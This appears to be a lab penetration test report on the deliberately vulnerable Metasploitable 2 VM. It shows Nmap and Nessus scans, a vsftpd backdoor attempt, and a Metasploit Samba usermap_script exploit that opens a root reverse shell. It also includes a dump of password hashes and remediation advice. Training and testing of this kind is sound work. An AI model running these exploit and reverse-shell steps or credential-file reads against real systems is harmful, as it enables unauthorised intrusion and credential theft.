



PENETRATION TEST REPORT

Prepared by ThePhishingNet
Prepared for: Rapid7, Metasploitable 2
V1.0 November | 11 | 2024





ThePhishingNet
www.thephishingnet.com

Rapid7 Metasploitable2
www.rapid7.com

No warranties, express or implied are given by ThePhishingNet respect to accuracy, reliability, quality, correctness, or freedom from error or omission of this work product, including any implied warranties of merchantability, fitness for a specific purpose or non-infringement. This document is delivered "as is", and ThePhishingNet shall not be liable for any inaccuracy thereof. ThePhishingNet does not warrant that all errors in this work product shall be corrected. Except as expressly set forth in any master services agreement or project assignment, ThePhishingNet is not assuming any obligations or liabilities including but not limited to direct, indirect, incidental or consequential, special or exemplary damages resulting from the use of or reliance upon any information in this document. This document does not imply an endorsement of any of the companies or products mentioned. ©2024 ThePhishingNet. All rights reserved. No part of this document may be reproduced, copied or modified without the express written consent of the authors. Unless written permission is expressly granted for other purposes, this document shall be treated at all times as the confidential and proprietary material of ThePhishingNet and may not be distributed or published to any third-party. Document modified for sharing purposes, sensitive info redacted.



Table of contents

Document Control

Executive Summary

- **Objective of the Engagement**
- **Scope of Testing**
- **Key Findings**
- **Recommendations**

Introduction

- **Overview of Metasploitable 2**
- **Purpose of the Assessment**
- **Methodology and Tools Used**

Scope and Environment

- **Target System: Metasploitable 2**
- **IP Address/Network Range**
- **Testing Limitations**
- **Tools Utilized: Nmap, Metasploit Framework, etc.**

Information Gathering

- **Discovery Phase**
 - **Network Scanning using Nmap**
 - **Identifying Open Ports and Services**
- **OS and Service Detection**
- **Identified Services and Versions**

Vulnerability Analysis

- **Initial Vulnerability Identification**
- **Analyzing Results from Nmap and Metasploit Scans**
- **Common Vulnerabilities in Metasploitable 2**
 - **SMB Vulnerabilities**
 - **FTP Misconfigurations**
 - **Telnet and SSH Weaknesses**

Exploitation

- **Exploiting Vulnerable Services**
 - **Example: Exploiting vsftpd Backdoor**
 - **Example: Exploiting Misconfigured SMB (EternalBlue Simulation)**
- **Gaining System Access**

Post-Exploitation

- **Privilege Escalation**
- **Lateral Movement Techniques**
- **Extracting Sensitive Information**



Findings and Impact

- **Detailed Vulnerability Summary**
 - **Risk Rating: Critical/High/Medium/Low**
 - **Affected Services and Exploited Vulnerabilities**
- **Potential Real-World Impact**

Recommendations

- **Immediate Fixes for Critical Vulnerabilities**
- **Hardening the Metasploitable 2 System**
- **Suggested Security Practices**

Conclusion

- **Summary of the Assessment**
- **Effectiveness of Scanning Tools and Techniques**
- **Final Recommendations**

Appendices

- **Nmap Scan Outputs**
- **Screenshots of Exploitation Steps**
- **Tools and Commands Used**

**DOCUMENT CONTROL**

Issue Control			
Document Reference	N/A	Project #	N/A
Issue	1.0	Date	November 11, 2024
Classification	Public	Author	[REDACTED]
Document Title	Rapid7: Metasploitable 2 VM Penetration Test		
Approved by			
Released by	[REDACTED]		

Owner Details	
Name	[REDACTED]
Office/Region	[REDACTED]
Contact Number	[REDACTED]
E-mail Address	[REDACTED]

Revision History			
Issue	Date	Author	Comments
1.0	November 11, 2024	[REDACTED]	N/A



Executive Summary

ThePhishingnet conducted a comprehensive security assessment of Rapid7's Metasploitable 2 in order to determine existing vulnerabilities and establish the current level of security risk associated with the environment and the technologies in use. This assessment harnessed penetration testing and social engineering techniques to provide Rapid7 with an understanding of the risks and security posture of their vulnerable operating system. Key findings revealed critical vulnerabilities in FTP, SMB and outdated web services. Recommendations focus primarily on applying proper configurations, disabling used services and upgrading to secure versions.

Overview of Metasploitable 2:

Metasploitable 2 is a purposely vulnerable operating system commonly used for security training and testing. This machine is designed to simulate a real world target environment and investigation.

Purpose:

The Purpose of this test was to identify and exploit vulnerabilities within the Metasploitable 2 system to demonstrate common attack vectors and provide remediation recommendations

Methodology:

The following test adheres to the following phases:

- Reconnaissance and information gathering
- Vulnerability scanning
- Exploitation
- Post-exploitation and reporting

Tools used in this test:

- Nmap for network discovery
- Nessus for scanning the machine for vulnerabilities
- Metasploit for exploiting the system



Scope:

Target System IP: 192.168.23.3

Environment: Metasploitable 2 running locally on vmware

Findings:

1. Information Gathering

Discovery and port scanning

First thing I did before conducting the test, I first pinged the machine to ensure that it was online and functional, then after I verified that the server was responding, I then ran an Nmap scan to see if there were any vulnerable open ports. Below is a screenshot of what was found when the scan was conducted.

```
# root@KPC: /home/cloaked [id=1]
root@KPC: /home/cloaked [id=1]
# ping 192.168.23.3
PING 192.168.23.3 (192.168.23.3) 56(84) bytes of data.
64 bytes from 192.168.23.3: icmp_seq=1 ttl=64 time=0.384 ms
64 bytes from 192.168.23.3: icmp_seq=2 ttl=64 time=0.369 ms
64 bytes from 192.168.23.3: icmp_seq=3 ttl=64 time=0.326 ms
64 bytes from 192.168.23.3: icmp_seq=4 ttl=64 time=0.206 ms
64 bytes from 192.168.23.3: icmp_seq=5 ttl=64 time=0.328 ms
64 bytes from 192.168.23.3: icmp_seq=6 ttl=64 time=0.316 ms
64 bytes from 192.168.23.3: icmp_seq=7 ttl=64 time=0.273 ms
64 bytes from 192.168.23.3: icmp_seq=8 ttl=64 time=0.279 ms
64 bytes from 192.168.23.3: icmp_seq=9 ttl=64 time=0.191 ms
64 bytes from 192.168.23.3: icmp_seq=10 ttl=64 time=0.326 ms
64 bytes from 192.168.23.3: icmp_seq=11 ttl=64 time=0.263 ms
64 bytes from 192.168.23.3: icmp_seq=12 ttl=64 time=0.314 ms
64 bytes from 192.168.23.3: icmp_seq=13 ttl=64 time=0.282 ms
64 bytes from 192.168.23.3: icmp_seq=14 ttl=64 time=0.257 ms
64 bytes from 192.168.23.3: icmp_seq=15 ttl=64 time=0.258 ms
64 bytes from 192.168.23.3: icmp_seq=16 ttl=64 time=0.214 ms
64 bytes from 192.168.23.3: icmp_seq=17 ttl=64 time=0.488 ms
64 bytes from 192.168.23.3: icmp_seq=18 ttl=64 time=0.336 ms
64 bytes from 192.168.23.3: icmp_seq=19 ttl=64 time=0.294 ms
64 bytes from 192.168.23.3: icmp_seq=20 ttl=64 time=0.280 ms
64 bytes from 192.168.23.3: icmp_seq=21 ttl=64 time=0.296 ms
64 bytes from 192.168.23.3: icmp_seq=22 ttl=64 time=0.256 ms
64 bytes from 192.168.23.3: icmp_seq=23 ttl=64 time=0.336 ms
^C
# 192.168.23.3 ping statistics ---
23 packets transmitted, 23 received, 0% packet loss, time 22503ms
rtt min/avg/max/mdev = 0.141/0.296/0.488/0.066 ms

# root@KPC: ~ - [/home/cloaked]
root@KPC: ~ - [/home/cloaked]

# cloaked@KPC: ~ - [id=2]
cloaked@KPC: ~ - [id=2]
zsh: corrupt history file /home/cloaked/.zsh_history
[cloaked@KPC]~$
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-16 20:57 EST
Nmap scan report for 192.168.23.3
Host is up (0.0030s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  login
513/tcp   open  exec
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  cproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

[cloaked@KPC]~$
```



Vulnerability Assessment through Nessus:

Sev	CVEs	VPR	EPSS	Name	Family	Count
CRITICAL	10.0 *	7.4	0.6661	UnrealIRCd Backdoor Detection	Backdoors	1
CRITICAL	10.0 *			VNC Server 'password' Password	Gain a shell remotely	1
CRITICAL	9.8			SSL Version 2 and 3 Protocol Detection	Service detection	2
CRITICAL	9.8			Bind Shell Backdoor Detection	Backdoors	1
MEDIUM				Apache Tomcat (Multiple Issues)	Web Servers	4
MEDIUM				Phpmyadmin (Multiple Issues)	CGI abuses	4
CRITICAL				SQL (Multiple Issues)	Gain a shell remotely	3
MEDIUM				PHP (Multiple Issues)	CGI abuses	3
HIGH	8.3			CGI Generic SQL Injection (blind)	CGI abuses	1
HIGH	7.5	5.9	0.0358	Samba Badlock Vulnerability	General	1
HIGH	7.5 *	5.9	0.015	rlogin Service Detection	Service detection	1
HIGH	7.5 *	5.9	0.015	rsh Service Detection	Service detection	1
HIGH	7.5 *			CGI Generic Command Execution	CGI abuses	1
HIGH	7.5 *			CGI Generic Remote File Inclusion	CGI abuses	1
HIGH	7.5			NFS Shares World Readable	RPC	1
MEDIUM				SQL (Multiple Issues)	General	27
MEDIUM				ISC Bind (Multiple Issues)	DNS	5
MEDIUM				Twiki (Multiple Issues)	CGI abuses	2

Through Nessus, I conducted another security test and was returned with 107 vulnerabilities, in the screenshot above, it highlights some of more critical types

Below is a list of remediations that can help fix these issues:

Action	Vulns	Hosts
ISC BIND 9.x < 9.11.22, 9.12.x < 9.16.6, 9.17.x < 9.17.4 DoS: Upgrade to BIND 9.11.22, 9.16.6, 9.17.4 or later.	3	1
phpMyAdmin prior to 4.8.6 SQLi vulnerability (PMASA-2019-3): Upgrade to phpMyAdmin version 4.8.6 or later. Alternatively, apply the patches referenced in the vendor advisories.	2	1
Samba Badlock Vulnerability: Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.	1	1
Twiki 'rev' Parameter Arbitrary Command Execution: Apply the appropriate hotfix referenced in the vendor advisory.	1	1
UnrealIRCd Backdoor Detection: Re-download the software, verify it using the published MD5 / SHA1 checksums, and re-install it.	0	1

2. Vulnerability analysis:

- a. I once again ran Nmap to see if there were any vulnerabilities, after it ran, I saw that there were many vulnerabilities and CVEs.
- b. Two of the CVE's that stand out are as followed:
 - i. Vsftd 2.3.4 Backdoor (CVE 2011-2523)
 1. Service found to contain a backdoor that allows unauthenticated users to obtain a remote shell into the system



ii. SMB misconfiguration (CVE 2007-2447)

1. Samba has an instance where if a user injects a command, there is improper handling of inputs.

3. Exploitation

- FTP Backdoor exploit

- Objective: Gain shell access through vsftpd 2.3.4 backdoor.
- Steps:
 - Connected to FTP server using the command telnet 192.168.23.3 21
 - Attempted to open a reverse shell connection

```

cloaked@KPC: ~$ ping 192.168.23.3
PING 192.168.23.3 (192.168.23.3) 56(84) bytes of data:
64 bytes from 192.168.23.3: icmp_seq=1 ttl=64 time=0.545 ms
64 bytes from 192.168.23.3: icmp_seq=2 ttl=64 time=0.393 ms
--- 192.168.23.3 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 103ms
rtt min/avg/max/mdev = 0.383/0.424/0.545/0.121 ms

cloaked@KPC: ~$ nmap -p 21 192.168.23.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-16 22:44 EST
Error #447: Your port specifications are illegal. Example of proper form: "-100,200-1024,T:3000-4000,U:6000 0-".
QUITTING!

cloaked@KPC: ~$ sudo nmap -p 21 192.168.23.3
[sudo] password for cloaked:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-16 22:44 EST
Nmap scan report for 192.168.23.3
Host is up (0.00028s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds

cloaked@KPC: ~$ sudo su
root@KPC: /home/cloaked#
root@KPC: /home/cloaked# nmap -p 6200 192.168.23.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-16 22:45 EST
Nmap scan report for 192.168.23.3
Host is up (0.00037s latency).

PORT      STATE SERVICE
6200/tcp  open  lm-x
MAC Address: 00:0C:29:FA:DD:2A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

root@KPC: /home/cloaked#

root@KPC: /home/cloaked# telnet 192.168.23.3 21
Trying 192.168.23.3...
Connected to 192.168.23.3.
Escape character is '^['.
220 (vsFTPd 2.3.4)
USER cloaked:
331 Please specify the password.
PASS hackedlol
zsh: corrupt history file /home/cloaked/.zsh_history
root@KPC: /home/cloaked# telnet 192.168.23.3 6200
Trying 192.168.23.3...
Connected to 192.168.23.3.
Escape character is '^['.

```

- Results: was able to remotely make a username but could not connect on port 6200

SMB Exploit

Objective: Exploit the Samba service for command injection

Steps:

- Use metasploit module to execute commands
- Create a reverse shell payload and upload it using the exploit

Result: After conducting sever msfconsole commands, I was able to obtain root user access into the metasploitable 2 machine.



```

cloaked@KPC: ~ 125x63

#####
##### / -- \ / -- \ / -- \ #####
#####
#####
# WAVE 5 ##### SCORE 31337 ##### HIGH FFFFFFFF #
#####
https://metasploit.com

Metasploit v6.4.18-dev
+ -- --[ 2437 exploits - 1255 auxiliary - 429 post ]
+ -- --[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

search uymsf6 >
msf6 > search usermap_script

Matching Modules
=====

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.23.3
RHOSTS => 192.168.23.3
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.23.2
LHOST => 192.168.23.2
msf6 exploit(multi/samba/usermap_script) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP double handler on 192.168.23.2:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo geFysbiV9XZGVbK;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "geFysbiV9XZGVbK\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.23.2:4444 -> 192.168.23.3:52485) at 2024-11-16 22:51:11 -0500

whoami
root
id
uid=0(root) gid=0(root)

```

The table below is a list of commands that I used to conduct this test:



Command	Functionality
msfconsole	Open metasploit framework console
Search usermap_script	Search for module
use exploit/multi/samba/usermap_script	Load the exploit
set RHOSTS 192.168.23.3	Set the target IP address
set PAYLOAD cmd/unix/reverse	Set the payload for a reverse shell
set LHOST <your_kali_ip>	Set Pentester IP
set LPORT 4444	Set port
run	Run script

4. Post exploitation

Privilege Escalation:

Enumerated SUID binaries and found misconfigured NMAP

I did not have to escalate to root since the Metasploit exploit I used already put me in root user.

Data exfiltration: I found a file full of hashes but was unable to decrypt them

```

root@cloaked:~# cd /etc/passwd
root@cloaked:~# cat /etc/passwd
root:$1$vpf8j1$0zhu5U91v:/D9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$UX08P0t$1m1yc3Up0z0jz4s5wF09l0.:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuid:*:14684:0:99999:7:::
dhcpc:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$12W0c4$380x1:0m.dmdUE3X9jqP0.:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msAdmin:$1$X102j2c4mt/2zCWmLTUWA.:1hZJAS/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$0x5ik.s$w0g2Zu05pauUvJhfcye/:14685:0:99999:7:::
mysql:*:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distcc:*:14698:0:99999:7:::
user:$1$E5u0xR5k.s0303060x1IQkPwug20.:14699:0:99999:7:::
service:$1$K3ue7J2570xFLDup50HpcjZ38u/:14715:0:99999:7:::
cshmd:*:14715:0:99999:7:::
profpd:*:14727:0:99999:7:::
statd:*:15474:0:99999:7:::

```



Recommendations

Immediate Fixes

1. Disable vsftd 2.3.4 or upgrade it to a secure version
2. Harden SMB configuration
 - a. Disable access for users that shouldnt use it
 - b. Apply latest patches for the Samba client

General recommendations:

1. Limit access to critical services through the fire wall rules
2. Use strong authentication mechanisms for all services
3. Conduct regular vulnerability assessments to find new risks

Conclusion:

The penetration test identified and exploited critical vulnerabilities within the Metasploitable 2 environment. These findings show the importance of secure configurations and to conduct regular updates. By implementing the recommendations, this system can be reduced.



Appendices

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4
22/tcp	open	ssh	OpenSSH 4.7p1 Debian
23/tcp	open	telnet	Linux telnetd
80/tcp	open	http	Apache httpd 2.2.8 ((Ubuntu))
129/tcp	open	netbios-ssn	Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp	open	netbios-ssn	Samba smbd 3.X (workgroup: WORKGROUP)

Commands used:

Nmap -sS -sV 192.168.1.10

Telnet 192.168.1.10 21

Metasploit: use exploit/multi/samba/usermap_script